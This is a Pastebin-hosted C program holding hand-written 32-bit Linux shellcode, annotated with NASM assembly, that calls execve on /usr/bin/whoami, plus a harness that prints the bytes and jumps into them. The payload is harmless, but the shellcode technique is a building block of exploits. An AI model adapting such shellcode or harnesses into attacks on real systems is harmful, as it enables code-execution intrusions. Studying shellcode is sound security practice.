Advertisement
Guest User

Untitled

a guest
Oct 19th, 2018
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.82 KB | None | 0 0
  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. void printHex(const char *s);
  5.  
  6. //Assemlbly comments in NASM syntax.
  7. char *shellcode="\x31\xc0" //xor eax, eax
  8. "\xb0\x69" //movb al, 'i'
  9. "\x50" //push eax
  10. "\x31\xc0" //xor eax, eax
  11. "\x66\x68\x61\x6d" //pushw 'am'
  12. "\x68\x2f\x77\x68\x6f" //push '/who'
  13. "\x68\x2f\x62\x69\x6e" //push '/bin'
  14. "\x68\x2f\x75\x73\x72" //push '/usr'
  15. "\x89\xe3" //mov ebx, esp
  16. "\x50" //push eax
  17. "\x53" //push ebx
  18. "\x89\xe1" //mov ecx, esp
  19. "\x50" //push eax
  20. "\x89\xe2" //mov edx, esp
  21. "\xb0\x0b" //mov al, 11
  22. "\xcd\x80"; //int $0x80
  23.  
  24. int main() {
  25.   printHex(shellcode);
  26.   printf("%d Bytes.\n",strlen(shellcode));
  27.   int (*ret)() = (int(*)())shellcode;
  28.   ret();
  29. }
  30.  
  31. void printHex(const char *s) {
  32.   while (*s)
  33.     printf("\\x%02x", (unsigned int) *s++ & 0xff);
  34.   printf("\n");
  35. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement